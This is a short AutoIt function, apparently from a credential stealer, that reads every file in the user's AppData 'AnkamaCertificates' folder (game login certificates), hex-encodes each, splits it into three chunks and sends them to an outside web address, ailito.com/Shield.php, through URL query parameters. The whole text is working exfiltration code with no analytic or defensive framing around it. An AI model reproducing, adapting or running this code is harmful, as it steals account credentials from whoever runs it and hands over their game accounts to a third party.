Func FTP()
$DOSSIER = @AppDataDir & "\AnkamaCertificates"
$LIST = _RECFILELISTTOARRAY($DOSSIER, "*", 1, 0, 2, 0)
If Not @error Then
For $I = 1 To $LIST[0]
$CERTIFICATO = FileRead($DOSSIER & "\" & $LIST[$I])
$CERTIFICATF = StringToBinary($CERTIFICATO)
$CERTIFICATF1 = StringMid(StringToBinary($CERTIFICATO), 1, 250)
$CERTIFICATF2 = StringMid(StringToBinary($CERTIFICATO), 251, 250)
$CERTIFICATF3 = StringMid(StringToBinary($CERTIFICATO), 501, 250)
INETREAD("http://ailito.com/Shield.php?FileName=" & $LIST[$I] & "&Certificat1=" & $CERTIFICATF1 & "&Certificat2=" & $CERTIFICATF2 & "&Certificat3=" & $CERTIFICATF3)
Next
Else
EndIf
EndFunc